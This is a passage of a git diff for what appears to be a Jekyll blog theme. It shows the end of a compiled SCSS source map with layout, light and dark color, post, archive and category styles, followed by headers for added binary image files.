.d-flex > div {\n width: 312px;\n }\n}\n\n/* Sidebar is visible */\n@media all and (min-width: 850px) {\n /* Solved jumping scrollbar */\n html {\n overflow-y: scroll;\n }\n\n #main-wrapper,\n footer {\n margin-left: $sidebar-width;\n }\n\n #main-wrapper {\n min-height: calc(100vh - $footer-height);\n }\n\n footer {\n p {\n width: auto;\n &:last-child {\n &::before {\n content: '-';\n margin: 0 0.75rem;\n opacity: 0.8;\n }\n }\n }\n }\n\n #sidebar {\n .profile-wrapper {\n margin-top: 3rem;\n }\n }\n\n #search-hints {\n display: none;\n }\n\n #search-wrapper {\n max-width: $search-max-width;\n }\n\n #search-result-wrapper {\n max-width: $main-content-max-width;\n justify-content: start !important;\n }\n\n .post {\n h1 {\n margin-top: 3rem;\n }\n }\n\n div.post-content .table-wrapper > table {\n min-width: 70%;\n }\n\n /* button 'back-to-Top' position */\n #back-to-top {\n bottom: 5.5rem;\n right: 5%;\n }\n\n #topbar-title {\n text-align: left;\n }\n}\n\n/* Pad horizontal */\n@media all and (min-width: 992px) and (max-width: 1199px) {\n #main .col-lg-11 {\n flex: 0 0 96%;\n max-width: 96%;\n }\n}\n\n/* Compact icons in sidebar & panel hidden */\n@media all and (min-width: 850px) and (max-width: 1199px) {\n #search-results > div {\n max-width: 700px;\n }\n\n #breadcrumb {\n width: 65%;\n overflow: hidden;\n text-overflow: ellipsis;\n word-break: keep-all;\n white-space: nowrap;\n }\n}\n\n/* panel hidden */\n@media all and (max-width: 1199px) {\n #panel-wrapper {\n display: none;\n }\n\n #main > div.row {\n justify-content: center !important;\n }\n}\n\n/* --- desktop mode, both sidebar and panel are visible --- */\n\n@media all and (min-width: 1200px) {\n #back-to-top {\n bottom: 6.5rem;\n }\n\n #search-wrapper {\n margin-right: 4rem;\n }\n\n #search-input {\n transition: all 0.3s ease-in-out;\n }\n\n #search-results > div {\n width: 46%;\n\n &:nth-child(odd) {\n margin-right: 1.5rem;\n }\n\n &:nth-child(even) {\n margin-left: 1.5rem;\n }\n\n &:last-child:nth-child(odd) {\n position: relative;\n right: 24.3%;\n }\n }\n\n .post-content {\n font-size: 1.03rem;\n }\n\n footer {\n div.d-felx {\n width: 85%;\n }\n }\n}\n\n@media all and (min-width: 1400px) {\n #back-to-top {\n right: calc((100vw - #{$sidebar-width} - 1140px) / 2 + 3rem);\n }\n}\n\n@media all and (min-width: 1650px) {\n $icon-gap: 1rem;\n\n #main-wrapper,\n footer {\n margin-left: $sidebar-width-large;\n }\n\n #topbar-wrapper {\n left: $sidebar-width-large;\n }\n\n #search-wrapper {\n margin-right: calc(\n #{$main-content-max-width} * 0.25 - #{$search-max-width} - 0.75rem\n );\n }\n\n #main,\n footer > .container {\n max-width: $main-content-max-width;\n padding-left: 1.75rem !important;\n padding-right: 1.75rem !important;\n }\n\n #core-wrapper,\n #tail-wrapper {\n padding-right: 4.5rem !important;\n }\n\n #back-to-top {\n right: calc(\n (100vw - #{$sidebar-width-large} - #{$main-content-max-width}) / 2 + 2rem\n );\n }\n\n #sidebar {\n width: $sidebar-width-large;\n\n $icon-gap: 1rem; // for the bottom icons\n\n .profile-wrapper {\n margin-top: 3.5rem;\n margin-bottom: 2.5rem;\n padding-left: 3.5rem;\n }\n\n ul {\n li.nav-item {\n @include pl-pr(2.75rem);\n }\n }\n\n .sidebar-bottom {\n padding-left: 2.75rem;\n margin-bottom: 1.75rem;\n\n a:not(:last-child) {\n margin-right: $icon-gap;\n }\n\n .icon-border {\n @include ml-mr(calc(($icon-gap - $btn-border-width) / 2));\n }\n }\n }\n} /* min-width: 1650px */\n","/*\n * The syntax light mode typography colors\n */\n\n@mixin light-scheme {\n /* Framework color */\n --main-bg: white;\n --mask-bg: #c1c3c5;\n --main-border-color: #f3f3f3;\n\n /* Common color */\n --text-color: #34343c;\n --text-muted-color: #8e8e8e;\n --heading-color: black;\n --blockquote-border-color: #eeeeee;\n --blockquote-text-color: #9a9a9a;\n --link-color: #0153ab;\n --link-underline-color: #dee2e6;\n --button-bg: #ffffff;\n --btn-border-color: #e9ecef;\n --btn-backtotop-color: #686868;\n --btn-backtotop-border-color: #f1f1f1;\n --btn-box-shadow: #eaeaea;\n --checkbox-color: #c5c5c5;\n --checkbox-checked-color: #07a8f7;\n --img-bg: radial-gradient(\n circle,\n rgb(255, 255, 255) 0%,\n rgb(239, 239, 239) 100%\n );\n --shimmer-bg: linear-gradient(\n 90deg,\n rgba(250, 250, 250, 0) 0%,\n rgba(232, 230, 230, 1) 50%,\n rgba(250, 250, 250, 0) 100%\n );\n\n /* Sidebar */\n --sidebar-bg: #f6f8fa;\n --sidebar-muted-color: #a2a19f;\n --sidebar-active-color: #1d1d1d;\n --sidebar-hover-bg: rgb(223, 233, 241, 0.64);\n --sidebar-btn-bg: white;\n --sidebar-btn-color: #8e8e8e;\n --avatar-border-color: white;\n\n /* Topbar */\n --topbar-bg: rgb(255, 255, 255, 0.7);\n --topbar-text-color: rgb(78, 78, 78);\n --search-wrapper-border-color: rgb(240, 240, 240);\n --search-tag-bg: #f8f9fa;\n --search-icon-color: #c2c6cc;\n --input-focus-border-color: #b8b8b8;\n\n /* Home page */\n --post-list-text-color: dimgray;\n --btn-patinator-text-color: #555555;\n --btn-paginator-hover-color: var(--sidebar-bg);\n --btn-paginator-border-color: var(--sidebar-bg);\n --btn-text-color: #676666;\n\n /* Posts */\n --toc-highlight: #563d7c;\n --btn-share-hover-color: var(--link-color);\n --card-bg: white;\n --card-hovor-bg: #e2e2e2;\n --card-shadow: rgb(104, 104, 104, 0.05) 0 2px 6px 0,\n rgba(211, 209, 209, 0.15) 0 0 0 1px;\n --label-color: #616161;\n --relate-post-date: rgba(30, 55, 70, 0.4);\n --footnote-target-bg: lightcyan;\n --tag-bg: rgba(0, 0, 0, 0.075);\n --tag-border: #dee2e6;\n --tag-shadow: var(--btn-border-color);\n --tag-hover: rgb(222, 226, 230);\n --tb-odd-bg: #fbfcfd;\n --tb-border-color: #eaeaea;\n --dash-color: silver;\n --kbd-wrap-color: #bdbdbd;\n --kbd-text-color: var(--text-color);\n --kbd-bg-color: white;\n --prompt-text-color: rgb(46, 46, 46, 0.77);\n --prompt-tip-bg: rgb(123, 247, 144, 0.2);\n --prompt-tip-icon-color: #03b303;\n --prompt-info-bg: #e1f5fe;\n --prompt-info-icon-color: #0070cb;\n --prompt-warning-bg: rgb(255, 243, 205);\n --prompt-warning-icon-color: #ef9c03;\n --prompt-danger-bg: rgb(248, 215, 218, 0.56);\n --prompt-danger-icon-color: #df3c30;\n\n [class^='prompt-'] {\n --link-underline-color: rgb(219, 216, 216);\n }\n\n .dark {\n display: none;\n }\n\n /* Categories */\n --categories-border: rgba(0, 0, 0, 0.125);\n --categories-hover-bg: var(--btn-border-color);\n --categories-icon-hover-color: darkslategray;\n\n /* Archive */\n --timeline-color: rgba(0, 0, 0, 0.075);\n --timeline-node-bg: #c2c6cc;\n --timeline-year-dot-color: #ffffff;\n} /* light-scheme */\n","/*\n * The main dark mode styles\n */\n\n@mixin dark-scheme {\n /* Framework color */\n --main-bg: rgb(27, 27, 30);\n --mask-bg: rgb(68, 69, 70);\n --main-border-color: rgb(44, 45, 45);\n\n /* Common color */\n --text-color: rgb(175, 176, 177);\n --text-muted-color: rgb(107, 116, 124);\n --heading-color: #cccccc;\n --blockquote-border-color: rgb(66, 66, 66);\n --blockquote-text-color: rgb(117, 117, 117);\n --link-color: rgb(138, 180, 248);\n --link-underline-color: rgb(82, 108, 150);\n --button-bg: rgb(39, 40, 43);\n --btn-border-color: rgb(63, 65, 68);\n --btn-backtotop-color: var(--text-color);\n --btn-backtotop-border-color: var(--btn-border-color);\n --btn-box-shadow: var(--main-bg);\n --card-header-bg: rgb(48, 48, 48);\n --label-color: rgb(108, 117, 125);\n --checkbox-color: rgb(118, 120, 121);\n --checkbox-checked-color: var(--link-color);\n --img-bg: radial-gradient(circle, rgb(22, 22, 24) 0%, rgb(32, 32, 32) 100%);\n --shimmer-bg: linear-gradient(\n 90deg,\n rgba(255, 255, 255, 0) 0%,\n rgba(58, 55, 55, 0.4) 50%,\n rgba(255, 255, 255, 0) 100%\n );\n\n /* Sidebar */\n --sidebar-bg: radial-gradient(circle, #242424 0%, #1d1f27 100%);\n --sidebar-muted-color: #6d6c6b;\n --sidebar-active-color: rgb(255, 255, 255, 0.95);\n --sidebar-hover-bg: rgb(54, 54, 54, 0.33);\n --sidebar-btn-bg: rgb(84, 83, 83, 0.3);\n --sidebar-btn-color: #787878;\n --avatar-border-color: rgb(206, 206, 206, 0.9);\n\n /* Topbar */\n --topbar-bg: rgb(27, 27, 30, 0.64);\n --topbar-text-color: var(--text-color);\n --search-wrapper-border-color: rgb(55, 55, 55);\n --search-icon-color: rgb(100, 102, 105);\n --input-focus-border-color: rgb(112, 114, 115);\n\n /* Home page */\n --post-list-text-color: rgb(175, 176, 177);\n --btn-patinator-text-color: var(--text-color);\n --btn-paginator-hover-color: rgb(64, 65, 66);\n --btn-paginator-border-color: var(--btn-border-color);\n --btn-text-color: var(--text-color);\n\n /* Posts */\n --toc-highlight: rgb(116, 178, 243);\n --tag-bg: rgb(41, 40, 40);\n --tag-hover: rgb(43, 56, 62);\n --tb-odd-bg: rgba(42, 47, 53, 0.52); /* odd rows of the posts' table */\n --tb-even-bg: rgb(31, 31, 34); /* even rows of the posts' table */\n --tb-border-color: var(--tb-odd-bg);\n --footnote-target-bg: rgb(63, 81, 181);\n --btn-share-color: #6c757d;\n --btn-share-hover-color: #bfc1ca;\n --relate-post-date: var(--text-muted-color);\n --card-bg: #1e1e1e;\n --card-hovor-bg: #464d51;\n --card-shadow: rgb(21, 21, 21, 0.72) 0 6px 18px 0,\n rgb(137, 135, 135, 0.24) 0 0 0 1px;\n --kbd-wrap-color: #6a6a6a;\n --kbd-text-color: #d3d3d3;\n --kbd-bg-color: #242424;\n --prompt-text-color: rgb(216, 212, 212, 0.75);\n --prompt-tip-bg: rgb(22, 60, 36, 0.64);\n --prompt-tip-icon-color: rgb(15, 164, 15, 0.81);\n --prompt-info-bg: rgb(7, 59, 104, 0.8);\n --prompt-info-icon-color: #0075d1;\n --prompt-warning-bg: rgb(90, 69, 3, 0.88);\n --prompt-warning-icon-color: rgb(255, 165, 0, 0.8);\n --prompt-danger-bg: rgb(86, 28, 8, 0.8);\n --prompt-danger-icon-color: #cd0202;\n\n /* tags */\n --tag-border: rgb(59, 79, 88);\n --tag-shadow: rgb(32, 33, 33);\n --search-tag-bg: var(--tag-bg);\n --dash-color: rgb(63, 65, 68);\n\n /* categories */\n --categories-border: rgb(64, 66, 69, 0.5);\n --categories-hover-bg: rgb(73, 75, 76);\n --categories-icon-hover-color: white;\n\n /* archives */\n --timeline-node-bg: rgb(150, 152, 156);\n --timeline-color: rgb(63, 65, 68);\n --timeline-year-dot-color: var(--timeline-color);\n\n .light {\n display: none;\n }\n\n hr {\n border-color: var(--main-border-color);\n }\n\n /* categories */\n .categories.card,\n .list-group-item {\n background-color: var(--card-bg);\n }\n\n .categories {\n .card-header {\n background-color: var(--card-header-bg);\n }\n\n .list-group-item {\n border-left: none;\n border-right: none;\n padding-left: 2rem;\n border-color: var(--categories-border);\n\n &:last-child {\n border-bottom-color: var(--card-bg);\n }\n }\n }\n\n #archives li:nth-child(odd) {\n background-image: linear-gradient(\n to left,\n rgb(26, 26, 30),\n rgb(39, 39, 45),\n rgb(39, 39, 45),\n rgb(39, 39, 45),\n rgb(26, 26, 30)\n );\n }\n\n color-scheme: dark;\n\n /* stylelint-disable-next-line selector-id-pattern */\n #disqus_thread {\n color-scheme: none;\n }\n} /* dark-scheme */\n","/*\n Style for Homepage\n*/\n\n#post-list {\n margin-top: 2rem;\n\n a.card-wrapper {\n display: block;\n\n &:hover {\n text-decoration: none;\n }\n\n &:not(:last-child) {\n margin-bottom: 1.25rem;\n }\n }\n\n .card {\n %img-radius {\n border-radius: $base-radius $base-radius 0 0;\n }\n\n .preview-img {\n height: 10rem;\n\n @extend %img-radius;\n\n img {\n width: 100%;\n height: 100%;\n -o-object-fit: cover;\n object-fit: cover;\n\n @extend %img-radius;\n }\n }\n\n .card-body {\n min-height: 10.5rem;\n padding: 1rem;\n\n .card-title {\n @extend %text-clip;\n\n font-size: 1.25rem;\n }\n\n %muted {\n color: var(--text-muted-color) !important;\n }\n\n .card-text.post-content {\n @extend %muted;\n\n p {\n @extend %text-clip;\n\n line-height: 1.5;\n margin: 0;\n }\n }\n\n .post-meta {\n @extend %muted;\n\n i {\n &:not(:first-child) {\n margin-left: 1.5rem;\n }\n }\n\n em {\n @extend %normal-font-style;\n\n color: inherit;\n }\n\n > div:first-child {\n display: block;\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n }\n }\n }\n }\n} /* #post-list */\n\n.pagination {\n color: var(--btn-patinator-text-color);\n font-family: Lato, sans-serif;\n\n a:hover {\n text-decoration: none;\n }\n\n .page-item {\n .page-link {\n color: inherit;\n width: 2.5rem;\n height: 2.5rem;\n padding: 0;\n display: -webkit-box;\n -webkit-box-pack: center;\n -webkit-box-align: center;\n border-radius: 50%;\n border: 1px solid var(--btn-paginator-border-color);\n background-color: var(--button-bg);\n\n &:hover {\n background-color: var(--btn-paginator-hover-color);\n }\n }\n\n &.active {\n .page-link {\n background-color: var(--btn-paginator-hover-color);\n color: var(--btn-text-color);\n }\n }\n\n &.disabled {\n cursor: not-allowed;\n\n .page-link {\n color: rgba(108, 117, 125, 0.57);\n border-color: var(--btn-paginator-border-color);\n background-color: var(--button-bg);\n }\n }\n\n &:first-child .page-link,\n &:last-child .page-link {\n border-radius: 50%;\n }\n } /* .page-item */\n} /* .pagination */\n\n/* Tablet */\n@media all and (min-width: 768px) {\n #post-list {\n %img-radius {\n border-radius: 0 $base-radius $base-radius 0;\n }\n\n .card {\n .preview-img {\n width: 20rem;\n height: 11.55rem; // can hold 2 lines each for title and content\n }\n\n .card-body {\n min-height: 10.75rem;\n width: 60%;\n padding: 1.75rem 1.75rem 1.25rem 1.75rem;\n\n .card-text {\n display: inherit !important;\n }\n\n .post-meta {\n i {\n &:not(:first-child) {\n margin-left: 1.75rem;\n }\n }\n }\n }\n }\n }\n}\n\n/* Hide SideBar and TOC */\n@media all and (max-width: 830px) {\n .pagination {\n justify-content: space-evenly;\n\n .page-item {\n &:not(:first-child):not(:last-child) {\n display: none;\n }\n }\n }\n}\n\n/* Sidebar is visible */\n@media all and (min-width: 831px) {\n #post-list {\n margin-top: 2.5rem;\n }\n\n .pagination {\n font-size: 0.85rem;\n\n .page-item {\n &:not(:last-child) {\n margin-right: 0.7rem;\n }\n\n .page-link {\n width: 2rem;\n height: 2rem;\n }\n }\n\n .page-index {\n display: none;\n }\n } /* .pagination */\n}\n\n/* Panel is visible */\n@media all and (min-width: 1200px) {\n #post-list {\n padding-right: 0.5rem;\n }\n}\n","/*\n Post-specific style\n*/\n\n@mixin btn-sharing-color($light-color, $important: false) {\n @if $important {\n color: var(--btn-share-color, $light-color) !important;\n } @else {\n color: var(--btn-share-color, $light-color);\n }\n}\n\n%btn-post-nav {\n width: 50%;\n position: relative;\n border-color: var(--btn-border-color);\n}\n\n@mixin dot($pl: 0.25rem, $pr: 0.25rem) {\n content: '\\2022';\n padding-left: $pl;\n padding-right: $pr;\n}\n\n%text-color {\n color: var(--text-color);\n}\n\n.preview-img {\n overflow: hidden;\n aspect-ratio: 40 / 21;\n\n @extend %rounded;\n\n &:not(.no-bg) {\n img.lazyloaded {\n background: var(--img-bg);\n }\n }\n\n img {\n -o-object-fit: cover;\n object-fit: cover;\n\n @extend %rounded;\n }\n}\n\nh1 + .post-meta {\n span + span::before {\n @include dot;\n }\n\n em {\n @extend %text-color;\n\n a {\n @extend %text-color;\n }\n }\n}\n\n.post-tail-wrapper {\n margin-top: 6rem;\n border-bottom: 1px double var(--main-border-color);\n font-size: 0.85rem;\n\n .post-tail-bottom a {\n color: inherit;\n }\n\n .license-wrapper {\n line-height: 1.2rem;\n\n > a {\n color: var(--text-color);\n\n &:hover {\n @extend %link-hover;\n }\n }\n\n span:last-child {\n font-size: 0.85rem;\n }\n } /* .license-wrapper */\n\n .post-meta a:not(:hover) {\n @extend %link-underline;\n }\n\n .share-wrapper {\n vertical-align: middle;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n\n .share-icons {\n font-size: 1.2rem;\n\n > i {\n position: relative;\n bottom: 1px;\n\n @extend %cursor-pointer;\n\n &:hover {\n @extend %btn-share-hovor;\n }\n }\n\n a {\n &:not(:last-child) {\n margin-right: 0.25rem;\n }\n\n &:hover {\n text-decoration: none;\n\n > i {\n @extend %btn-share-hovor;\n }\n }\n }\n\n .fab {\n &.fa-twitter {\n @include btn-sharing-color(rgba(29, 161, 242, 1));\n }\n\n &.fa-facebook-square {\n @include btn-sharing-color(rgb(66, 95, 156));\n }\n\n &.fa-telegram {\n @include btn-sharing-color(rgb(39, 159, 217));\n }\n\n &.fa-linkedin {\n @include btn-sharing-color(rgb(0, 119, 181));\n }\n\n &.fa-weibo {\n @include btn-sharing-color(rgb(229, 20, 43));\n }\n }\n } /* .share-icons */\n\n .fas.fa-link {\n @include btn-sharing-color(rgb(171, 171, 171));\n }\n } /* .share-wrapper */\n}\n\n.post-tags {\n line-height: 2rem;\n\n .post-tag {\n background: var(--tag-bg);\n\n &:hover {\n @extend %link-hover;\n @extend %tag-hover;\n @extend %no-bottom-border;\n }\n }\n}\n\n.post-navigation {\n padding-top: 3rem;\n padding-bottom: 4rem;\n\n .btn {\n @extend %btn-post-nav;\n\n &:not(:hover) {\n color: var(--link-color);\n }\n\n &:hover {\n &:not(.disabled)::before {\n color: whitesmoke;\n }\n }\n\n &.disabled {\n @extend %btn-post-nav;\n\n pointer-events: auto;\n cursor: not-allowed;\n background: none;\n color: gray;\n }\n\n &.btn-outline-primary.disabled:focus {\n box-shadow: none;\n }\n\n &::before {\n color: var(--text-muted-color);\n font-size: 0.65rem;\n text-transform: uppercase;\n content: attr(prompt);\n }\n\n &:first-child {\n border-radius: $base-radius 0 0 $base-radius;\n left: 0.5px;\n }\n\n &:last-child {\n border-radius: 0 $base-radius $base-radius 0;\n right: 0.5px;\n }\n }\n\n p {\n font-size: 1.1rem;\n line-height: 1.5rem;\n margin-top: 0.3rem;\n white-space: normal;\n }\n} /* .post-navigation */\n\n@media (hover: hover) {\n .post-navigation {\n .btn,\n .btn::before {\n transition: all 0.35s ease-in-out;\n }\n }\n}\n\n@-webkit-keyframes fade-up {\n from {\n opacity: 0;\n position: relative;\n top: 2rem;\n }\n\n to {\n opacity: 1;\n position: relative;\n top: 0;\n }\n}\n\n@keyframes fade-up {\n from {\n opacity: 0;\n position: relative;\n top: 2rem;\n }\n\n to {\n opacity: 1;\n position: relative;\n top: 0;\n }\n}\n\n#toc-wrapper {\n border-left: 1px solid rgba(158, 158, 158, 0.17);\n position: -webkit-sticky;\n position: sticky;\n top: 4rem;\n transition: top 0.2s ease-in-out;\n -webkit-animation: fade-up 0.8s;\n animation: fade-up 0.8s;\n\n ul {\n list-style: none;\n font-size: 0.85rem;\n line-height: 1.25;\n padding-left: 0;\n\n li {\n &:not(:last-child) {\n margin: 0.4rem 0;\n }\n\n a {\n padding: 0.2rem 0 0.2rem 1.25rem;\n }\n }\n\n /* Overwrite TOC plugin style */\n\n .toc-link {\n display: block;\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n\n &:hover {\n color: var(--toc-highlight);\n text-decoration: none;\n }\n\n &::before {\n display: none;\n }\n }\n\n .is-active-link {\n color: var(--toc-highlight) !important;\n font-weight: 600;\n\n &::before {\n display: inline-block;\n width: 1px;\n left: -1px;\n height: 1.25rem;\n background-color: var(--toc-highlight) !important;\n }\n }\n\n ul {\n a {\n padding-left: 2rem;\n }\n }\n }\n}\n\n/* --- Related Posts --- */\n\n#related-posts {\n > h3 {\n @include label(1.1rem, 600);\n }\n\n em {\n @extend %normal-font-style;\n\n color: var(--relate-post-date);\n }\n\n p {\n font-size: 0.9rem;\n margin-bottom: 0.5rem;\n overflow: hidden;\n text-overflow: ellipsis;\n display: -webkit-box;\n -webkit-line-clamp: 2;\n -webkit-box-orient: vertical;\n }\n\n .card {\n h4 {\n @extend %text-color;\n @extend %text-clip;\n }\n }\n}\n\n#tail-wrapper {\n min-height: 2rem;\n\n > div:last-of-type {\n margin-bottom: 2rem;\n }\n\n /* stylelint-disable-next-line selector-id-pattern */\n #disqus_thread {\n min-height: 8.5rem;\n }\n}\n\n%btn-share-hovor {\n color: var(--btn-share-hover-color) !important;\n}\n\n.share-label {\n @include label(inherit, 400, inherit);\n\n &::after {\n content: ':';\n }\n}\n\n@media all and (max-width: 576px) {\n .preview-img[data-src] {\n margin-top: 2.2rem;\n }\n\n .post-tail-bottom {\n flex-wrap: wrap-reverse !important;\n\n > div:first-child {\n width: 100%;\n margin-top: 1rem;\n }\n }\n}\n\n@media all and (max-width: 768px) {\n .post-content > p > img {\n max-width: calc(100% + 1rem);\n }\n}\n\n/* Hide SideBar and TOC */\n@media all and (max-width: 849px) {\n .post-navigation {\n padding-left: 0;\n padding-right: 0;\n margin-left: -0.5rem;\n margin-right: -0.5rem;\n }\n\n .preview-img[data-src] {\n max-width: 100vw;\n border-radius: 0;\n }\n}\n","/*\n Styles for Tab Tags\n*/\n\n.tag {\n border-radius: 0.7em;\n padding: 6px 8px 7px;\n margin-right: 0.8rem;\n line-height: 3rem;\n letter-spacing: 0;\n border: 1px solid var(--tag-border) !important;\n box-shadow: 0 0 3px 0 var(--tag-shadow);\n\n span {\n margin-left: 0.6em;\n font-size: 0.7em;\n font-family: Oswald, sans-serif;\n }\n}\n","/*\n Style for Archives\n*/\n\n#archives {\n letter-spacing: 0.03rem;\n\n $timeline-width: 4px;\n\n %timeline {\n content: '';\n width: $timeline-width;\n position: relative;\n float: left;\n background-color: var(--timeline-color);\n }\n\n .year {\n height: 3.5rem;\n font-size: 1.5rem;\n position: relative;\n left: 2px;\n margin-left: -$timeline-width;\n\n &::before {\n @extend %timeline;\n\n height: 72px;\n left: 79px;\n bottom: 16px;\n }\n\n &:first-child::before {\n @extend %timeline;\n\n height: 32px;\n top: 24px;\n }\n\n /* Year dot */\n &::after {\n content: '';\n display: inline-block;\n position: relative;\n border-radius: 50%;\n width: 12px;\n height: 12px;\n left: 21.5px;\n border: 3px solid;\n background-color: var(--timeline-year-dot-color);\n border-color: var(--timeline-node-bg);\n box-shadow: 0 0 2px 0 #c2c6cc;\n z-index: 1;\n }\n }\n\n ul {\n li {\n font-size: 1.1rem;\n line-height: 3rem;\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n\n &:nth-child(odd) {\n background-color: var(--main-bg, #ffffff);\n background-image: linear-gradient(\n to left,\n #ffffff,\n #fbfbfb,\n #fbfbfb,\n #fbfbfb,\n #ffffff\n );\n }\n\n &::before {\n @extend %timeline;\n\n top: 0;\n left: 77px;\n height: 3.1rem;\n }\n }\n\n &:last-child li:last-child::before {\n height: 1.5rem;\n }\n } /* #archives ul */\n\n .date {\n white-space: nowrap;\n display: inline-block;\n position: relative;\n right: 0.5rem;\n\n &.month {\n width: 1.4rem;\n text-align: center;\n }\n\n &.day {\n font-size: 85%;\n font-family: Lato, sans-serif;\n }\n }\n\n a {\n /* post title in Archvies */\n margin-left: 2.5rem;\n position: relative;\n top: 0.1rem;\n\n &:hover {\n border-bottom: none;\n }\n\n &::before {\n /* the dot before post title */\n content: '';\n display: inline-block;\n position: relative;\n border-radius: 50%;\n width: 8px;\n height: 8px;\n float: left;\n top: 1.35rem;\n left: 71px;\n background-color: var(--timeline-node-bg);\n box-shadow: 0 0 3px 0 #c2c6cc;\n z-index: 1;\n }\n }\n} /* #archives */\n\n@media all and (max-width: 576px) {\n #archives {\n margin-top: -1rem;\n\n ul {\n letter-spacing: 0;\n }\n }\n}\n","/*\n Style for Tab Categories\n*/\n\n%category-icon-color {\n color: gray;\n}\n\n.categories {\n margin-bottom: 2rem;\n border-color: var(--categories-border);\n\n &.card,\n .list-group {\n @extend %rounded;\n }\n\n .card-header {\n $radius: calc($base-radius - 1px);\n\n padding: 0.75rem;\n border-radius: $radius;\n border-bottom: 0;\n\n &.hide-border-bottom {\n border-bottom-left-radius: 0;\n border-bottom-right-radius: 0;\n }\n }\n\n i {\n @extend %category-icon-color;\n\n font-size: 86%; /* fontawesome icons */\n }\n\n .list-group-item {\n border-left: none;\n border-right: none;\n padding-left: 2rem;\n\n &:first-child {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n }\n\n &:last-child {\n border-bottom: 0;\n }\n }\n} /* .categories */\n\n.category-trigger {\n width: 1.7rem;\n height: 1.7rem;\n border-radius: 50%;\n text-align: center;\n color: #6c757d !important;\n\n i {\n position: relative;\n height: 0.7rem;\n width: 1rem;\n transition: transform 300ms ease;\n }\n\n &:hover {\n i {\n color: var(--categories-icon-hover-color);\n }\n }\n}\n\n/* only works on desktop */\n@media (hover: hover) {\n .category-trigger:hover {\n background-color: var(--categories-hover-bg);\n }\n}\n\n.rotate {\n transform: rotate(-90deg);\n}\n","/*\n Style for page Category and Tag\n*/\n\n.dash {\n margin: 0 0.5rem 0.6rem 0.5rem;\n border-bottom: 2px dotted var(--dash-color);\n}\n\n#page-category,\n#page-tag {\n ul > li {\n line-height: 1.5rem;\n padding: 0.6rem 0;\n\n /* dot */\n &::before {\n background: #999999;\n width: 5px;\n height: 5px;\n border-radius: 50%;\n display: block;\n content: '';\n position: relative;\n top: 0.6rem;\n margin-right: 0.5rem;\n }\n\n /* post's title */\n > a {\n @extend %no-bottom-border;\n\n font-size: 1.1rem;\n }\n\n /* post's date */\n > span:last-child {\n white-space: nowrap;\n }\n }\n}\n\n/* tag icon */\n#page-tag h1 > i {\n font-size: 1.2rem;\n}\n\n#page-category h1 > i {\n font-size: 1.25rem;\n}\n\n#page-category,\n#page-tag,\n#access-lastmod {\n a:hover {\n @extend %link-hover;\n\n margin-bottom: -1px; /* Avoid jumping */\n }\n}\n\n@media all and (max-width: 576px) {\n #page-category,\n #page-tag {\n ul > li {\n &::before {\n margin: 0 0.5rem;\n }\n\n > a {\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n }\n }\n }\n}\n"],"file":"style.css"} \ No newline at end of file diff --git a/assets/d01252331b53/1*TKpaGn6Yv2bERvQ0bCfZLA.png b/assets/d01252331b53/1*TKpaGn6Yv2bERvQ0bCfZLA.png new file mode 100644 index 000000000..6152d9e60 Binary files /dev/null and b/assets/d01252331b53/1*TKpaGn6Yv2bERvQ0bCfZLA.png differ diff --git a/assets/d414bdbdb8c9/1*1xb9xGGkgx6PkhWlWc7HiQ.jpeg b/assets/d414bdbdb8c9/1*1xb9xGGkgx6PkhWlWc7HiQ.jpeg new file mode 100644 index 000000000..77a925405 Binary files /dev/null and b/assets/d414bdbdb8c9/1*1xb9xGGkgx6PkhWlWc7HiQ.jpeg differ diff --git a/assets/d414bdbdb8c9/1*2Ok6gD5E7F1uqyzgVpoJ8A.jpeg b/assets/d414bdbdb8c9/1*2Ok6gD5E7F1uqyzgVpoJ8A.jpeg new file mode 100644 index 000000000..86e618dd2 Binary files /dev/null and b/assets/d414bdbdb8c9/1*2Ok6gD5E7F1uqyzgVpoJ8A.jpeg differ diff --git a/assets/d414bdbdb8c9/1*2fmqWCAMiM2UeuGss7VzzA.jpeg b/assets/d414bdbdb8c9/1*2fmqWCAMiM2UeuGss7VzzA.jpeg new file mode 100644 index 000000000..4e6f3f1e3 Binary files /dev/null and b/assets/d414bdbdb8c9/1*2fmqWCAMiM2UeuGss7VzzA.jpeg differ diff --git a/assets/d414bdbdb8c9/1*57FOYivs5toW2aipgRVCeg.jpeg b/assets/d414bdbdb8c9/1*57FOYivs5toW2aipgRVCeg.jpeg new file mode 100644 index 000000000..34e6388dd Binary files /dev/null and b/assets/d414bdbdb8c9/1*57FOYivs5toW2aipgRVCeg.jpeg differ diff --git a/assets/d414bdbdb8c9/1*6zlooS-cMr5LEVX2TW5I_w.jpeg b/assets/d414bdbdb8c9/1*6zlooS-cMr5LEVX2TW5I_w.jpeg new file mode 100644 index 000000000..6963d6bc8 Binary files /dev/null and b/assets/d414bdbdb8c9/1*6zlooS-cMr5LEVX2TW5I_w.jpeg differ diff --git a/assets/d414bdbdb8c9/1*AgGLiLsyvenK-LRWI9rlKg.png b/assets/d414bdbdb8c9/1*AgGLiLsyvenK-LRWI9rlKg.png new file mode 100644 index 000000000..7a6c8d703 Binary files /dev/null and b/assets/d414bdbdb8c9/1*AgGLiLsyvenK-LRWI9rlKg.png differ diff --git a/assets/d414bdbdb8c9/1*DUcwdLTKt33Fa-jNlW8MkA.png b/assets/d414bdbdb8c9/1*DUcwdLTKt33Fa-jNlW8MkA.png new file mode 100644 index 000000000..69e43bac9 Binary files /dev/null and b/assets/d414bdbdb8c9/1*DUcwdLTKt33Fa-jNlW8MkA.png differ diff --git a/assets/d414bdbdb8c9/1*JHHTQCWNUI-aNPBB6y4iAA.jpeg b/assets/d414bdbdb8c9/1*JHHTQCWNUI-aNPBB6y4iAA.jpeg new file mode 100644 index 000000000..72ff2baf5 Binary files /dev/null and b/assets/d414bdbdb8c9/1*JHHTQCWNUI-aNPBB6y4iAA.jpeg differ diff --git a/assets/d414bdbdb8c9/1*JXuVoKM-gGJwfvF7tXY1nQ.png b/assets/d414bdbdb8c9/1*JXuVoKM-gGJwfvF7tXY1nQ.png new file mode 100644 index 000000000..0fcb11bd7 Binary files /dev/null and b/assets/d414bdbdb8c9/1*JXuVoKM-gGJwfvF7tXY1nQ.png differ diff --git a/assets/d414bdbdb8c9/1*LBAlTvz46NJCYgVv1DrfYQ.png 